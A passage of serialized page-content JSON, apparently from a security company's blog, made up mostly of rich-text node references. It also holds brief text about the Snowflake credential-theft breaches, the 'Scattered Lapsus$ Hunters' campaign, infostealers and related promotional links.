nt":163367,"nodeType":866},{},[163368],{"data":163369,"marks":163370,"value":61862,"nodeType":865},{},[],{"data":163372,"content":163373,"nodeType":1570},{},[163374],{"data":163375,"content":163376,"nodeType":866},{},[163377],{"data":163378,"marks":163379,"value":61872,"nodeType":865},{},[],{"data":163381,"content":163382,"nodeType":1570},{},[163383],{"data":163384,"content":163385,"nodeType":866},{},[163386],{"data":163387,"marks":163388,"value":61882,"nodeType":865},{},[],{"data":163390,"content":163391,"nodeType":1570},{},[163392],{"data":163393,"content":163394,"nodeType":866},{},[163395],{"data":163396,"marks":163397,"value":61892,"nodeType":865},{},[],{"data":163399,"content":163400,"nodeType":1570},{},[163401],{"data":163402,"content":163403,"nodeType":866},{},[163404],{"data":163405,"marks":163406,"value":61902,"nodeType":865},{},[],{"data":163408,"content":163409,"nodeType":1570},{},[163410],{"data":163411,"content":163412,"nodeType":866},{},[163413],{"data":163414,"marks":163415,"value":61912,"nodeType":865},{},[],{"data":163417,"content":163418,"nodeType":1570},{},[163419],{"data":163420,"content":163421,"nodeType":866},{},[163422],{"data":163423,"marks":163424,"value":61922,"nodeType":865},{},[],{"data":163426,"content":163429,"nodeType":912},{"target":163427},{"sys":163428},{"id":61927,"type":909,"linkType":910},[],{"data":163431,"content":163432,"nodeType":972},{},[],{"data":163434,"content":163435,"nodeType":981},{},[163436],{"data":163437,"marks":163438,"value":61939,"nodeType":865},{},[163439],{"type":926},{"data":163441,"content":163442,"nodeType":1317},{},[163443],{"data":163444,"marks":163445,"value":61947,"nodeType":865},{},[163446],{"type":926},{"data":163448,"content":163449,"nodeType":866},{},[163450],{"data":163451,"marks":163452,"value":61954,"nodeType":865},{},[],{"data":163454,"content":163455,"nodeType":866},{},[163456],{"data":163457,"marks":163458,"value":61961,"nodeType":865},{},[],{"data":163460,"content":163461,"nodeType":1317},{},[163462],{"data":163463,"marks":163464,"value":61969,"nodeType":865},{},[163465],{"type":926},{"data":163467,"content":163468,"nodeType":866},{},[163469,163472,163479],{"data":163470,"marks":163471,"value":61976,"nodeType":865},{},[],{"data":163473,"content":163474,"nodeType":889},{"uri":6710},[163475],{"data":163476,"marks":163477,"value":6715,"nodeType":865},{},[163478],{"type":943},{"data":163480,"marks":163481,"value":14251,"nodeType":865},{},[],{"data":163483,"content":163484,"nodeType":866},{},[163485],{"data":163486,"marks":163487,"value":61993,"nodeType":865},{},[],{"data":163489,"content":163490,"nodeType":1317},{},[163491],{"data":163492,"marks":163493,"value":62001,"nodeType":865},{},[163494],{"type":926},{"data":163496,"content":163497,"nodeType":866},{},[163498],{"data":163499,"marks":163500,"value":62008,"nodeType":865},{},[],{"data":163502,"content":163503,"nodeType":866},{},[163504],{"data":163505,"marks":163506,"value":62015,"nodeType":865},{},[],{"data":163508,"content":163509,"nodeType":1317},{},[163510],{"data":163511,"marks":163512,"value":62023,"nodeType":865},{},[163513],{"type":926},{"data":163515,"content":163516,"nodeType":866},{},[163517],{"data":163518,"marks":163519,"value":62030,"nodeType":865},{},[],{"data":163521,"content":163522,"nodeType":866},{},[163523],{"data":163524,"marks":163525,"value":62037,"nodeType":865},{},[],{"data":163527,"content":163528,"nodeType":866},{},[163529,163532,163539],{"data":163530,"marks":163531,"value":62044,"nodeType":865},{},[],{"data":163533,"content":163534,"nodeType":889},{"uri":62047},[163535],{"data":163536,"marks":163537,"value":62053,"nodeType":865},{},[163538],{"type":943},{"data":163540,"marks":163541,"value":62057,"nodeType":865},{},[],{"data":163543,"content":163546,"nodeType":912},{"target":163544},{"sys":163545},{"id":62062,"type":909,"linkType":910},[],{"data":163548,"content":163549,"nodeType":972},{},[],{"data":163551,"content":163552,"nodeType":981},{},[163553],{"data":163554,"marks":163555,"value":62074,"nodeType":865},{},[163556],{"type":926},{"data":163558,"content":163559,"nodeType":1317},{},[163560],{"data":163561,"marks":163562,"value":62082,"nodeType":865},{},[163563],{"type":926},{"data":163565,"content":163566,"nodeType":866},{},[163567],{"data":163568,"marks":163569,"value":62089,"nodeType":865},{},[],{"data":163571,"content":163572,"nodeType":1616},{},[163573,163592,163611,163640],{"data":163574,"content":163575,"nodeType":1570},{},[163576],{"data":163577,"content":163578,"nodeType":866},{},[163579,163582,163589],{"data":163580,"marks":163581,"value":62102,"nodeType":865},{},[],{"data":163583,"content":163584,"nodeType":889},{"uri":62105},[163585],{"data":163586,"marks":163587,"value":62111,"nodeType":865},{},[163588],{"type":943},{"data":163590,"marks":163591,"value":62115,"nodeType":865},{},[],{"data":163593,"content":163594,"nodeType":1570},{},[163595],{"data":163596,"content":163597,"nodeType":866},{},[163598,163601,163608],{"data":163599,"marks":163600,"value":62125,"nodeType":865},{},[],{"data":163602,"content":163603,"nodeType":889},{"uri":6698},[163604],{"data":163605,"marks":163606,"value":62133,"nodeType":865},{},[163607],{"type":943},{"data":163609,"marks":163610,"value":1615,"nodeType":865},{},[],{"data":163612,"content":163613,"nodeType":1570},{},[163614],{"data":163615,"content":163616,"nodeType":866},{},[163617,163620,163627,163630,163637],{"data":163618,"marks":163619,"value":62146,"nodeType":865},{},[],{"data":163621,"content":163622,"nodeType":889},{"uri":6710},[163623],{"data":163624,"marks":163625,"value":62154,"nodeType":865},{},[163626],{"type":943},{"data":163628,"marks":163629,"value":62158,"nodeType":865},{},[],{"data":163631,"content":163632,"nodeType":889},{"uri":62161},[163633],{"data":163634,"marks":163635,"value":62167,"nodeType":865},{},[163636],{"type":943},{"data":163638,"marks":163639,"value":62171,"nodeType":865},{},[],{"data":163641,"content":163642,"nodeType":1570},{},[163643],{"data":163644,"content":163645,"nodeType":866},{},[163646,163649,163656],{"data":163647,"marks":163648,"value":62181,"nodeType":865},{},[],{"data":163650,"content":163651,"nodeType":889},{"uri":6698},[163652],{"data":163653,"marks":163654,"value":62189,"nodeType":865},{},[163655],{"type":943},{"data":163657,"marks":163658,"value":62193,"nodeType":865},{},[],{"data":163660,"content":163661,"nodeType":866},{},[163662],{"data":163663,"marks":163664,"value":62200,"nodeType":865},{},[],{"data":163666,"content":163667,"nodeType":1317},{},[163668],{"data":163669,"marks":163670,"value":62208,"nodeType":865},{},[163671],{"type":926},{"data":163673,"content":163674,"nodeType":866},{},[163675],{"data":163676,"marks":163677,"value":62215,"nodeType":865},{},[],{"data":163679,"content":163680,"nodeType":866},{},[163681],{"data":163682,"marks":163683,"value":62222,"nodeType":865},{},[],{"data":163685,"content":163688,"nodeType":912},{"target":163686},{"sys":163687},{"id":62227,"type":909,"linkType":910},[],{"data":163690,"content":163691,"nodeType":1317},{},[163692],{"data":163693,"marks":163694,"value":62236,"nodeType":865},{},[163695],{"type":926},{"data":163697,"content":163698,"nodeType":866},{},[163699],{"data":163700,"marks":163701,"value":62243,"nodeType":865},{},[],{"data":163703,"content":163704,"nodeType":866},{},[163705],{"data":163706,"marks":163707,"value":62250,"nodeType":865},{},[],{"data":163709,"content":163710,"nodeType":866},{},[163711],{"data":163712,"marks":163713,"value":62257,"nodeType":865},{},[],{"data":163715,"content":163716,"nodeType":1317},{},[163717],{"data":163718,"marks":163719,"value":62265,"nodeType":865},{},[163720],{"type":926},{"data":163722,"content":163723,"nodeType":866},{},[163724],{"data":163725,"marks":163726,"value":62272,"nodeType":865},{},[],{"data":163728,"content":163729,"nodeType":866},{},[163730],{"data":163731,"marks":163732,"value":62279,"nodeType":865},{},[],{"data":163734,"content":163735,"nodeType":866},{},[163736],{"data":163737,"marks":163738,"value":62286,"nodeType":865},{},[],{"data":163740,"content":163741,"nodeType":866},{},[163742],{"data":163743,"marks":163744,"value":62293,"nodeType":865},{},[],{"data":163746,"content":163749,"nodeType":912},{"target":163747},{"sys":163748},{"id":62298,"type":909,"linkType":910},[],{"data":163751,"content":163752,"nodeType":972},{},[],{"data":163754,"content":163755,"nodeType":981},{},[163756],{"data":163757,"marks":163758,"value":62310,"nodeType":865},{},[163759],{"type":926},{"data":163761,"content":163762,"nodeType":866},{},[163763],{"data":163764,"marks":163765,"value":62317,"nodeType":865},{},[],{"data":163767,"content":163768,"nodeType":1616},{},[163769,163778,163787],{"data":163770,"content":163771,"nodeType":1570},{},[163772],{"data":163773,"content":163774,"nodeType":866},{},[163775],{"data":163776,"marks":163777,"value":62330,"nodeType":865},{},[],{"data":163779,"content":163780,"nodeType":1570},{},[163781],{"data":163782,"content":163783,"nodeType":866},{},[163784],{"data":163785,"marks":163786,"value":62340,"nodeType":865},{},[],{"data":163788,"content":163789,"nodeType":1570},{},[163790],{"data":163791,"content":163792,"nodeType":866},{},[163793],{"data":163794,"marks":163795,"value":62350,"nodeType":865},{},[],{"data":163797,"content":163798,"nodeType":866},{},[163799],{"data":163800,"marks":163801,"value":62357,"nodeType":865},{},[],{"data":163803,"content":163804,"nodeType":866},{},[163805,163808,163814],{"data":163806,"marks":163807,"value":62364,"nodeType":865},{},[],{"data":163809,"content":163810,"nodeType":889},{"uri":62367},[163811],{"data":163812,"marks":163813,"value":62372,"nodeType":865},{},[],{"data":163815,"marks":163816,"value":62376,"nodeType":865},{},[],{"data":163818,"content":163819,"nodeType":866},{},[163820,163823,163830],{"data":163821,"marks":163822,"value":62383,"nodeType":865},{},[],{"data":163824,"content":163825,"nodeType":889},{"uri":62386},[163826],{"data":163827,"marks":163828,"value":62392,"nodeType":865},{},[163829],{"type":943},{"data":163831,"marks":163832,"value":62396,"nodeType":865},{},[],{"data":163834,"content":163837,"nodeType":912},{"target":163835},{"sys":163836},{"id":62401,"type":909,"linkType":910},[],{"data":163839,"content":163840,"nodeType":866},{},[163841],{"data":163842,"marks":163843,"value":21,"nodeType":865},{},[],{"entries":163845},{"hyperlink":163846,"inline":163847,"block":163848},[],[],[163849,163873,163875,163882,163885,163889,163896],{"sys":163850,"__typename":5503,"content":163851,"name":163872,"title":59},{"id":61626},{"json":163852},{"nodeType":1382,"data":163853,"content":163854},{},[163855],{"nodeType":866,"data":163856,"content":163857},{},[163858,163862,163869],{"nodeType":865,"value":163859,"marks":163860,"data":163861},"The attackers behind this campaign went on a worldwide hacking spree in 2025, taking on the moniker of \"Scattered Lapsus$ Hunters\" and launching attacks on Marks & Spencer, Co-op, Jaguar Land Rover, and hundreds of Salesforce customers. ",[],{},{"nodeType":889,"data":163863,"content":163864},{"uri":4991},[163865],{"nodeType":865,"value":163866,"marks":163867,"data":163868},"Check out the blog post for all the details. ",[],{},{"nodeType":865,"value":21,"marks":163870,"data":163871},[],{},"Snowflake insight box 1",{"sys":163874,"__typename":1414,"type":1415,"ctaText":147996,"buttonLabel":30703,"buttonColour":114626,"buttonUrl":110220},{"id":61666},{"sys":163876,"__typename":1390,"title":163877,"caption":163878,"layoutMode":59,"file":163879},{"id":61927},"Snowflake attack path","Attack path traversed in the attacks on Snowflake customers",{"url":163880,"width":163881,"height":87703},"https://images.ctfassets.net/y1cdw1ablpvd/4cjVqskN2svdMLJpOkAGxq/057ec00e3b9965534e5ffeff5b423744/Snowflake_Attack_Path__3_.png",6140,{"sys":163883,"__typename":1414,"type":1415,"ctaText":163884,"buttonLabel":131401,"buttonColour":114626,"buttonUrl":132077},{"id":62062},"Read our blog post to learn more about the rise of infostealers and their role in the credential theft ecosystem. ",{"sys":163886,"__typename":1414,"type":1415,"ctaText":163887,"buttonLabel":163888,"buttonColour":148156,"buttonUrl":62367},{"id":62227},"Find out how Push helps you to cut through the noise of TI feeds with its validated stolen credentials feature, enabling you to pinpoint and remediate vulnerable accounts. ","Read the Feature Release",{"sys":163890,"__typename":131392,"title":163891,"youTubeUrl":163892,"imagePlaceholder":163893},{"id":62298},"Snowflake: The tip of the iceberg – Three practical takeaways from the Snowflake incident","https://www.youtube.com/watch?v=0s0NB4L7oKU",{"url":163894,"width":65371,"height":163895},"https://images.ctfassets.net/y1cdw1ablpvd/6DHHMV4gUPSKU36Jzyf0ei/458ed0cc9e04c53b92daa96013ada0d8/Twitter-X_-_1200_x_680.png",675,{"sys":163897,"__typename":1414,"type":160850,"ctaText":160862,"buttonLabel":160852,"buttonColour":1418,"buttonUrl":1372},{"id":62401},{"items":163899},[],{},"Analysing the 2024 Snowflake breaches via stolen credentials",{"items":163903},[163904,164518,165511],{"__typename":1429,"sys":163905,"content":163906,"title":87627,"synopsis":158448,"hashTags":59,"publishedDate":158449,"slug":87628,"tagsCollection":164508,"authorsCollection":164514},{"id":80231},{"json":163907},{"data":163908,"content":163909,"nodeType":1382},{},[163910,163915,163918,163931,163937,163943,163948,163954,163970,163985,163991,163996,164002,164005,164011,164017,164023,164029,164035,164041,164070,164075,164081,164084,164090,164096,164194,164200,164216,164222,164238,164244,164261,164267,164283,164286,164292,164298,164304,164330,164336,164342,164357,164362,164368,164374,164379,164385,164442,164448,164454,164460,164466,164472,164475,164481,164497,164502],{"data":163911,"content":163914,"nodeType":912},{"target":163912},{"sys":163913},{"id":157763,"type":909,"linkType":910},[],{"data":163916,"content":163917,"nodeType":972},{},[],{"data":163919,"content":163920,"nodeType":866},{},[163921,163924,163928],{"data":163922,"marks":163923,"value":157774,"nodeType":865},{},[],{"data":163925,"marks":163926,"value":157779,"nodeType":865},{},[163927],{"type":898},{"data":163929,"marks":163930,"value":157783,"nodeType":865},{},[],{"data":163932,"content":163933,"nodeType":866},{},[163934],{"data":163935,"marks":163936,"value":157790,"nodeType":865},{},[],{"data":163938,"content":163939,"nodeType":866},{},[163940],{"data":163941,"marks":163942,"value":157797,"nodeType":865},{},[],{"data":163944,"content":163947,"nodeType":912},{"target":163945},{"sys":163946},{"id":157802,"type":909,"linkType":910},[],{"data":163949,"content":163950,"nodeType":866},{},[163951],{"data":163952,"marks":163953,"value":157810,"nodeType":865},{},[],{"data":163955,"content":163956,"nodeType":7584},{},[163957],{"data":163958,"content":163959,"nodeType":866},{},[163960,163963,163967],{"data":163961,"marks":163962,"value":157820,"nodeType":865},{},[],{"data":163964,"marks":163965,"value":157825,"nodeType":865},{},[163966],{"type":926},{"data":163968,"marks":163969,"value":6719,"nodeType":865},{},[],{"data":163971,"content":163972,"nodeType":866},{},[163973,163976,163982],{"data":163974,"marks":163975,"value":157835,"nodeType":865},{},[],{"data":163977,"content":163978,"nodeType":889},{"uri":157838},[163979],{"data":163980,"marks":163981,"value":157843,"nodeType":865},{},[],{"data":163983,"marks":163984,"value":157847,"nodeType":865},{},[],{"data":163986,"content":163987,"nodeType":866},{},[163988],{"data":163989,"marks":163990,"value":157854,"nodeType":865},{},[],{"data":163992,"content":163995,"nodeType":912},{"target":163993},{"sys":163994},{"id":157859,"type":909,"linkType":910},[],{"data":163997,"content":163998,"nodeType":866},{},[163999],{"data":164000,"marks":164001,"value":157867,"nodeType":865},{},[],{"data":164003,"content":164004,"nodeType":972},{},[],{"data":164006,"content":164007,"nodeType":981},{},[164008],{"data":164009,"marks":164010,"value":157877,"nodeType":865},{},[],{"data":164012,"content":164013,"nodeType":866},{},[164014],{"data":164015,"marks":164016,"value":157884,"nodeType":865},{},[],{"data":164018,"content":164019,"nodeType":866},{},[164020],{"data":164021,"marks":164022,"value":157891,"nodeType":865},{},[],{"data":164024,"content":164025,"nodeType":1317},{},[164026],{"data":164027,"marks":164028,"value":157898,"nodeType":865},{},[],{"data":164030,"content":164031,"nodeType":866},{},[164032],{"data":164033,"marks":164034,"value":157905,"nodeType":865},{},[],{"data":164036,"content":164037,"nodeType":866},{},[164038],{"data":164039,"marks":164040,"value":157912,"nodeType":865},{},[],{"data":164042,"content":164043,"nodeType":1616},{},[164044,164057],{"data":164045,"content":164046,"nodeType":1570},{},[164047],{"data":164048,"content":164049,"nodeType":866},{},[164050,164054],{"data":164051,"marks":164052,"value":157926,"nodeType":865},{},[164053],{"type":926},{"data":164055,"marks":164056,"value":157930,"nodeType":865},{},[],{"data":164058,"content":164059,"nodeType":1570},{},[164060],{"data":164061,"content":164062,"nodeType":866},{},[164063,164067],{"data":164064,"marks":164065,"value":157941,"nodeType":865},{},[164066],{"type":926},{"data":164068,"marks":164069,"value":157945,"nodeType":865},{},[],{"data":164071,"content":164074,"nodeType":912},{"target":164072},{"sys":164073},{"id":157950,"type":909,"linkType":910},[],{"data":164076,"content":164077,"nodeType":866},{},[164078],{"data":164079,"marks":164080,"value":157958,"nodeType":865},{},[],{"data":164082,"content":164083,"nodeType":972},{},[],{"data":164085,"content":164086,"nodeType":981},{},[164087],{"data":164088,"marks":164089,"value":157968,"nodeType":865},{},[],{"data":164091,"content":164092,"nodeType":866},{},[164093],{"data":164094,"marks":164095,"value":157975,"nodeType":865},{},[],{"data":164097,"content":164098,"nodeType":1616},{},[164099,164118,164137,164156,164185],{"data":164100,"content":164101,"nodeType":1570},{},[164102],{"data":164103,"content":164104,"nodeType":866},{},[164105,164108,164115],{"data":164106,"marks":164107,"value":1449,"nodeType":865},{},[],{"data":164109,"content":164110,"nodeType":889},{"uri":4147},[164111],{"data":164112,"marks":164113,"value":157995,"nodeType":865},{},[164114],{"type":943},{"data":164116,"marks":164117,"value":157999,"nodeType":865},{},[],{"data":164119,"content":164120,"nodeType":1570},{},[164121],{"data":164122,"content":164123,"nodeType":866},{},[164124,164127,164134],{"data":164125,"marks":164126,"value":21,"nodeType":865},{},[],{"data":164128,"content":164129,"nodeType":889},{"uri":158011},[164130],{"data":164131,"marks":164132,"value":158017,"nodeType":865},{},[164133],{"type":943},{"data":164135,"marks":164136,"value":158021,"nodeType":865},{},[],{"data":164138,"content":164139,"nodeType":1570},{},[164140],{"data":164141,"content":164142,"nodeType":866},{},[164143,164146,164153],{"data":164144,"marks":164145,"value":158031,"nodeType":865},{},[],{"data":164147,"content":164148,"nodeType":889},{"uri":158034},[164149],{"data":164150,"marks":164151,"value":158040,"nodeType":865},{},[164152],{"type":943},{"data":164154,"marks":164155,"value":158044,"nodeType":865},{},[],{"data":164157,"content":164158,"nodeType":1570},{},[164159],{"data":164160,"content":164161,"nodeType":866},{},[164162,164165,164172,164175,164182],{"data":164163,"marks":164164,"value":158054,"nodeType":865},{},[],{"data":164166,"content":164167,"nodeType":889},{"uri":158057},[164168],{"data":164169,"marks":164170,"value":158063,"nodeType":865},{},[164171],{"type":943},{"data":164173,"marks":164174,"value":158067,"nodeType":865},{},[],{"data":164176,"content":164177,"nodeType":889},{"uri":158070},[164178],{"data":164179,"marks":164180,"value":158076,"nodeType":865},{},[164181],{"type":943},{"data":164183,"marks":164184,"value":158080,"nodeType":865},{},[],{"data":164186,"content":164187,"nodeType":1570},{},[164188],{"data":164189,"content":164190,"nodeType":866},{},[164191],{"data":164192,"marks":164193,"value":158090,"nodeType":865},{},[],{"data":164195,"content":164196,"nodeType":866},{},[164197],{"data":164198,"marks":164199,"value":158097,"nodeType":865},{},[],{"data":164201,"content":164202,"nodeType":866},{},[164203,164206,164213],{"data":164204,"marks":164205,"value":21,"nodeType":865},{},[],{"data":164207,"content":164208,"nodeType":889},{"uri":158011},[164209],{"data":164210,"marks":164211,"value":158111,"nodeType":865},{},[164212],{"type":943},{"data":164214,"marks":164215,"value":158115,"nodeType":865},{},[],{"data":164217,"content":164218,"nodeType":1317},{},[164219],{"data":164220,"marks":164221,"value":158122,"nodeType":865},{},[],{"data":164223,"content":164224,"nodeType":866},{},[164225,164228,164235],{"data":164226,"marks":164227,"value":158129,"nodeType":865},{},[],{"data":164229,"content":164230,"nodeType":889},{"uri":132077},[164231],{"data":164232,"marks":164233,"value":158137,"nodeType":865},{},[164234],{"type":943},{"data":164236,"marks":164237,"value":1615,"nodeType":865},{},[],{"data":164239,"content":164240,"nodeType":866},{},[164241],{"data":164242,"marks":164243,"value":158147,"nodeType":865},{},[],{"data":164245,"content":164246,"nodeType":866},{},[164247,164250,164258],{"data":164248,"marks":164249,"value":158154,"nodeType":865},{},[],{"data":164251,"content":164252,"nodeType":889},{"uri":110363},[164253],{"data":164254,"marks":164255,"value":158163,"nodeType":865},{},[164256,164257],{"type":943},{"type":926},{"data":164259,"marks":164260,"value":158167,"nodeType":865},{},[],{"data":164262,"content":164263,"nodeType":866},{},[164264],{"data":164265,"marks":164266,"value":158174,"nodeType":865},{},[],{"data":164268,"content":164269,"nodeType":866},{},[164270,164273,164280],{"data":164271,"marks":164272,"value":158181,"nodeType":865},{},[],{"data":164274,"content":164275,"nodeType":889},{"uri":6698},[164276],{"data":164277,"marks":164278,"value":135868,"nodeType":865},{},[164279],{"type":943},{"data":164281,"marks":164282,"value":158192,"nodeType":865},{},[],{"data":164284,"content":164285,"nodeType":972},{},[],{"data":164287,"content":164288,"nodeType":981},{},[164289],{"data":164290,"marks":164291,"value":158202,"nodeType":865},{},[],{"data":164293,"content":164294,"nodeType":866},{},[164295],{"data":164296,"marks":164297,"value":158209,"nodeType":865},{},[],{"data":164299,"content":164300,"nodeType":866},{},[164301],{"data":164302,"marks":164303,"value":158216,"nodeType":865},{},[],{"data":164305,"content":164306,"nodeType":866},{},[164307,164310,164317,164320,164327],{"data":164308,"marks":164309,"value":158223,"nodeType":865},{},[],{"data":164311,"content":164312,"nodeType":889},{"uri":13849},[164313],{"data":164314,"marks":164315,"value":158231,"nodeType":865},{},[164316],{"type":943},{"data":164318,"marks":164319,"value":158235,"nodeType":865},{},[],{"data":164321,"content":164322,"nodeType":889},{"uri":136312},[164323],{"data":164324,"marks":164325,"value":158243,"nodeType":865},{},[164326],{"type":943},{"data":164328,"marks":164329,"value":158247,"nodeType":865},{},[],{"data":164331,"content":164332,"nodeType":866},{},[164333],{"data":164334,"marks":164335,"value":158254,"nodeType":865},{},[],{"data":164337,"content":164338,"nodeType":866},{},[164339],{"data":164340,"marks":164341,"value":158261,"nodeType":865},{},[],{"data":164343,"content":164344,"nodeType":866},{},[164345,164348,164354],{"data":164346,"marks":164347,"value":158268,"nodeType":865},{},[],{"data":164349,"content":164350,"nodeType":889},{"uri":3488},[164351],{"data":164352,"marks":164353,"value":158275,"nodeType":865},{},[],{"data":164355,"marks":164356,"value":158279,"nodeType":865},{},[],{"data":164358,"content":164361,"nodeType":912},{"target":164359},{"sys":164360},{"id":158284,"type":909,"linkType":910},[],{"data":164363,"content":164364,"nodeType":1317},{},[164365],{"data":164366,"marks":164367,"value":158292,"nodeType":865},{},[],{"data":164369,"content":164370,"nodeType":866},{},[164371],{"data":164372,"marks":164373,"value":158299,"nodeType":865},{},[],{"data":164375,"content":164378,"nodeType":912},{"target":164376},{"sys":164377},{"id":158304,"type":909,"linkType":910},[],{"data":164380,"content":164381,"nodeType":866},{},[164382],{"data":164383,"marks":164384,"value":158312,"nodeType":865},{},[],{"data":164386,"content":164387,"nodeType":1616},{},[164388,164406,164415,164424,164433],{"data":164389,"content":164390,"nodeType":1570},{},[164391],{"data":164392,"content":164393,"nodeType":866},{},[164394,164397,164403],{"data":164395,"marks":164396,"value":158325,"nodeType":865},{},[],{"data":164398,"content":164399,"nodeType":889},{"uri":158328},[164400],{"data":164401,"marks":164402,"value":157843,"nodeType":865},{},[],{"data":164404,"marks":164405,"value":6719,"nodeType":865},{},[],{"data":164407,"content":164408,"nodeType":1570},{},[164409],{"data":164410,"content":164411,"nodeType":866},{},[164412],{"data":164413,"marks":164414,"value":158345,"nodeType":865},{},[],{"data":164416,"content":164417,"nodeType":1570},{},[164418],{"data":164419,"content":164420,"nodeType":866},{},[164421],{"data":164422,"marks":164423,"value":158355,"nodeType":865},{},[],{"data":164425,"content":164426,"nodeType":1570},{},[164427],{"data":164428,"content":164429,"nodeType":866},{},[164430],{"data":164431,"marks":164432,"value":158365,"nodeType":865},{},[],{"data":164434,"content":164435,"nodeType":1570},{},[164436],{"data":164437,"content":164438,"nodeType":866},{},[164439],{"data":164440,"marks":164441,"value":123965,"nodeType":865},{},[],{"data":164443,"content":164444,"nodeType":866},{},[164445],{"data":164446,"marks":164447,"value":158381,"nodeType":865},{},[],{"data":164449,"content":164450,"nodeType":866},{},[164451],{"data":164452,"marks":164453,"value":158388,"nodeType":865},{},[],{"data":164455,"content":164456,"nodeType":1317},{},[164457],{"data":164458,"marks":164459,"value":158395,"nodeType":865},{},[],{"data":164461,"content":164462,"nodeType":866},{},[164463],{"data":164464,"marks":164465,"value":158402,"nodeType":865},{},[],{"data":164467,"content":164468,"nodeType":866},{},[164469],{"data":164470,"marks":164471,"value":158409,"nodeType":865},{},[],{"data":164473,"content":164474,"nodeType":972},{},[],{"data":164476,"content":164477,"nodeType":981},{},[164478],{"data":164479,"marks":164480,"value":158419,"nodeType":865},{},[],{"data":164482,"content":164483,"nodeType":866},{},[164484,164487,164494],{"data":164485,"marks":164486,"value":158426,"nodeType":865},{},[],{"data":164488,"content":164489,"nodeType":889},{"uri":16069},[164490],{"data":164491,"marks":164492,"value":149797,"nodeType":865},{},[164493],{"type":943},{"data":164495,"marks":164496,"value":14251,"nodeType":865},{},[],{"data":164498,"content":164501,"nodeType":912},{"target":164499},{"sys":164500},{"id":62401,"type":909,"linkType":910},[],{"data":164503,"content":164504,"nodeType":866},{},[164505],{"data":164506,"marks":164507,"value":21,"nodeType":865},{},[],{"items":164509},[164510,164512],{"sys":164511,"name":126984},{"id":126983},{"sys":164513,"name":342},{"id":4642},{"items":164515},[164516],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":164517},{"url":6503},{"__typename":1429,"sys":164519,"content":164520,"title":163094,"synopsis":163095,"hashTags":59,"publishedDate":163096,"slug":163097,"tagsCollection":165501,"authorsCollection":165507},{"id":161956},{"json":164521},{"data":164522,"content":164523,"nodeType":1382},{},[164524,164550,164560,164573,164579,164585,164588,164594,164600,164716,164722,164728,164804,164810,164816,164864,164870,164891,164937,164940,164946,164962,164978,164984,165000,165006,165016,165019,165025,165031,165073,165079,165085,165101,165104,165110,165116,165122,165138,165144,165150,165156,165172,165178,165184,165190,165196,165212,165218,165224,165230,165236,165261,165266,165269,165275,165281,165286,165292,165298,165319,165325,165331,165370,165383,165399,165404,165410,165416,165422,165448,165484,165490,165495],{"data":164525,"content":164526,"nodeType":866},{},[164527,164530,164537,164540,164547],{"data":164528,"marks":164529,"value":161967,"nodeType":865},{},[],{"data":164531,"content":164532,"nodeType":889},{"uri":61637},[164533],{"data":164534,"marks":164535,"value":161975,"nodeType":865},{},[164536],{"type":943},{"data":164538,"marks":164539,"value":3485,"nodeType":865},{},[],{"data":164541,"content":164542,"nodeType":889},{"uri":13054},[164543],{"data":164544,"marks":164545,"value":161986,"nodeType":865},{},[164546],{"type":943},{"data":164548,"marks":164549,"value":161990,"nodeType":865},{},[],{"data":164551,"content":164552,"nodeType":866},{},[164553,164556],{"data":164554,"marks":164555,"value":161997,"nodeType":865},{},[],{"data":164557,"marks":164558,"value":162002,"nodeType":865},{},[164559],{"type":926},{"data":164561,"content":164562,"nodeType":866},{},[164563,164566,164570],{"data":164564,"marks":164565,"value":162009,"nodeType":865},{},[],{"data":164567,"marks":164568,"value":162014,"nodeType":865},{},[164569],{"type":926},{"data":164571,"marks":164572,"value":162018,"nodeType":865},{},[],{"data":164574,"content":164575,"nodeType":866},{},[164576],{"data":164577,"marks":164578,"value":162025,"nodeType":865},{},[],{"data":164580,"content":164581,"nodeType":866},{},[164582],{"data":164583,"marks":164584,"value":162032,"nodeType":865},{},[],{"data":164586,"content":164587,"nodeType":972},{},[],{"data":164589,"content":164590,"nodeType":981},{},[164591],{"data":164592,"marks":164593,"value":162042,"nodeType":865},{},[],{"data":164595,"content":164596,"nodeType":866},{},[164597],{"data":164598,"marks":164599,"value":162049,"nodeType":865},{},[],{"data":164601,"content":164602,"nodeType":1616},{},[164603,164622,164641,164660,164679,164697],{"data":164604,"content":164605,"nodeType":1570},{},[164606],{"data":164607,"content":164608,"nodeType":866},{},[164609,164612,164619],{"data":164610,"marks":164611,"value":162062,"nodeType":865},{},[],{"data":164613,"content":164614,"nodeType":889},{"uri":162065},[164615],{"data":164616,"marks":164617,"value":162071,"nodeType":865},{},[164618],{"type":943},{"data":164620,"marks":164621,"value":46245,"nodeType":865},{},[],{"data":164623,"content":164624,"nodeType":1570},{},[164625],{"data":164626,"content":164627,"nodeType":866},{},[164628,164631,164638],{"data":164629,"marks":164630,"value":149585,"nodeType":865},{},[],{"data":164632,"content":164633,"nodeType":889},{"uri":149588},[164634],{"data":164635,"marks":164636,"value":149594,"nodeType":865},{},[164637],{"type":943},{"data":164639,"marks":164640,"value":46245,"nodeType":865},{},[],{"data":164642,"content":164643,"nodeType":1570},{},[164644],{"data":164645,"content":164646,"nodeType":866},{},[164647,164650,164657],{"data":164648,"marks":164649,"value":162103,"nodeType":865},{},[],{"data":164651,"content":164652,"nodeType":889},{"uri":162106},[164653],{"data":164654,"marks":164655,"value":8641,"nodeType":865},{},[164656],{"type":943},{"data":164658,"marks":164659,"value":40358,"nodeType":865},{},[],{"data":164661,"content":164662,"nodeType":1570},{},[164663],{"data":164664,"content":164665,"nodeType":866},{},[164666,164669,164676],{"data":164667,"marks":164668,"value":162124,"nodeType":865},{},[],{"data":164670,"content":164671,"nodeType":889},{"uri":4147},[164672],{"data":164673,"marks":164674,"value":53721,"nodeType":865},{},[164675],{"type":943},{"data":164677,"marks":164678,"value":46245,"nodeType":865},{},[],{"data":164680,"content":164681,"nodeType":1570},{},[164682],{"data":164683,"content":164684,"nodeType":866},{},[164685,164688,164694],{"data":164686,"marks":164687,"value":162144,"nodeType":865},{},[],{"data":164689,"content":164690,"nodeType":889},{"uri":149610},[164691],{"data":164692,"marks":164693,"value":149616,"nodeType":865},{},[],{"data":164695,"marks":164696,"value":46245,"nodeType":865},{},[],{"data":164698,"content":164699,"nodeType":1570},{},[164700],{"data":164701,"content":164702,"nodeType":866},{},[164703,164706,164713],{"data":164704,"marks":164705,"value":162163,"nodeType":865},{},[],{"data":164707,"content":164708,"nodeType":889},{"uri":149652},[164709],{"data":164710,"marks":164711,"value":149658,"nodeType":865},{},[164712],{"type":943},{"data":164714,"marks":164715,"value":46245,"nodeType":865},{},[],{"da